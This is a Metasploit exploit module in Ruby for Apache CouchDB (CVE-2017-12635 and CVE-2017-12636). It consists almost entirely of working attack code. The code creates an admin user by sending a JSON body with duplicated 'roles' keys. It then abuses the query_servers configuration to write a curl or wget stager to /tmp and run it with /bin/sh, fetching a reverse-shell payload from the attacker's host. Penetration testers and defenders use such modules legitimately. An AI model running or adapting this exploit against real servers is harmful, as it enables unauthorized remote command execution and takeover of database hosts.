Apache CouchDB – Arbitrary Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apache CouchDB Arbitrary Command Execution', 'Description' => %q{ CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet. }, 'Author' => [ 'Max Justicz', # CVE-2017-12635 Vulnerability discovery 'Joan Touzet', # CVE-2017-12636 Vulnerability discovery 'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module ], 'References' => [ ['CVE', '2017-12636'], ['CVE', '2017-12635'], ['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], ['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'], ['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E'] ], 'DisclosureDate' => 'Apr 6 2016', 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => false, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/shell_reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' }, 'CmdStagerFlavor' => ['curl', 'wget'], 'Targets' => [ ['Automatic', {}], ['Apache CouchDB version 1.x', {}], ['Apache CouchDB version 2.x', {}] ], 'DefaultTarget' => 0 )) register_options([ Opt::RPORT(5984), OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']), OptString.new('HttpUsername', [false, 'The username to login as']), OptString.new('HttpPassword', [false, 'The password to login with']) ]) register_advanced_options([ OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']), OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp']) ]) end def check get_version version = Gem::Version.new(@version) return CheckCode::Unknown if version.version.empty? vprint_status "Found CouchDB version #{version}" return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) CheckCode::Safe end def exploit fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version version = @version vprint_good("#{peer} - Authorization bypass successful") if auth_bypass print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager") @cmdstager = generate_cmdstager( temp: datastore['WritableDir'], file: File.basename(cmdstager_path) ).join(';') register_file_for_cleanup(cmdstager_path) if !datastore['Attempts'] || datastore['Attempts'] <= 0 attempts = 1 else attempts = datastore['Attempts'] end attempts.times do |i| print_status("#{peer} - The #{i + 1} time to exploit") send_payload(version) Rex.sleep(5) # break if we get the shell break if session_created? end end # CVE-2017-12635 # The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, # the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization # for the newly created user. def auth_bypass username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12) password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12) @auth = basic_auth(username, password) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"), 'method' => 'PUT', 'ctype' => 'application/json', 'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}) ) if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok'] return true else return false end end def get_version @version = nil begin res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'authorization' => @auth ) rescue Rex::ConnectionError vprint_bad("#{peer} - Connection failed") return false end unless res vprint_bad("#{peer} - No response, check if it is CouchDB. ") return false end if res && res.code == 401 print_bad("#{peer} - Authentication required.") return false end if res && res.code == 200 res_json = res.get_json_document if res_json.empty? vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.") return false end @version = res_json['version'] if res_json['version'] return true end vprint_warning("#{peer} - Version not found") return true end def send_payload(version) vprint_status("#{peer} - CouchDB version is #{version}") if version version = Gem::Version.new(@version) if version.version.empty? vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.") # if target set Automatic, exploit failed. if target == targets[0] fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.") elsif target == targets[1] payload1 elsif target == targets[2] payload2 end elsif version < Gem::Version.new('1.7.0') payload1 elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) payload2 elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0') fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.") end end # Exploit with multi requests # payload1 is for the version of couchdb below 1.7.0 def payload1 rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) rand_db = Rex::Text.rand_text_alpha_lower(4..12) rand_doc = Rex::Text.rand_text_alpha_lower(4..12) rand_hex = Rex::Text.rand_text_hex(32) rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" register_file_for_cleanup(rand_file) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("echo '#{@cmdstager}' > #{rand_file}") ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), 'method' => 'PUT', 'authorization' => @auth ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %({"_id": "#{rand_hex}"}) ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), 'method' => 'POST', 'authorization' => @auth, 'ctype' => 'application/json', 'data' => %({"language":"#{rand_cmd1}","map":""}) ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("/bin/sh #{rand_file}") ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), 'method' => 'POST', 'authorization' => @auth, 'ctype' => 'application/json', 'data' => %({"language":"#{rand_cmd2}","map":""}) ) end # payload2 is for the version of couchdb below 2.1.1 def payload2 rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) rand_db = Rex::Text.rand_text_alpha_lower(4..12) rand_doc = Rex::Text.rand_text_alpha_lower(4..12) rand_tmp = Rex::Text.rand_text_alpha_lower(4..12) rand_hex = Rex::Text.rand_text_hex(32) rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" register_file_for_cleanup(rand_file) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_membership"), 'method' => 'GET', 'authorization' => @auth ) node = res.get_json_document['all_nodes'][0] send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("echo '#{@cmdstager}' > #{rand_file}") ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), 'method' => 'PUT', 'authorization' => @auth ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %({"_id": "#{rand_hex}"}) ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), 'method' => 'PUT', 'authorization' => @auth, 'ctype' => 'application/json', 'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}) ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"), 'method' => 'PUT', 'authorization' => @auth, 'data' => %("/bin/sh #{rand_file}") ) send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), 'method' => 'PUT', 'authorization' => @auth, 'ctype' => 'application/json', 'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}) ) end def cmdstager_path @cmdstager_path ||= "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}" end end |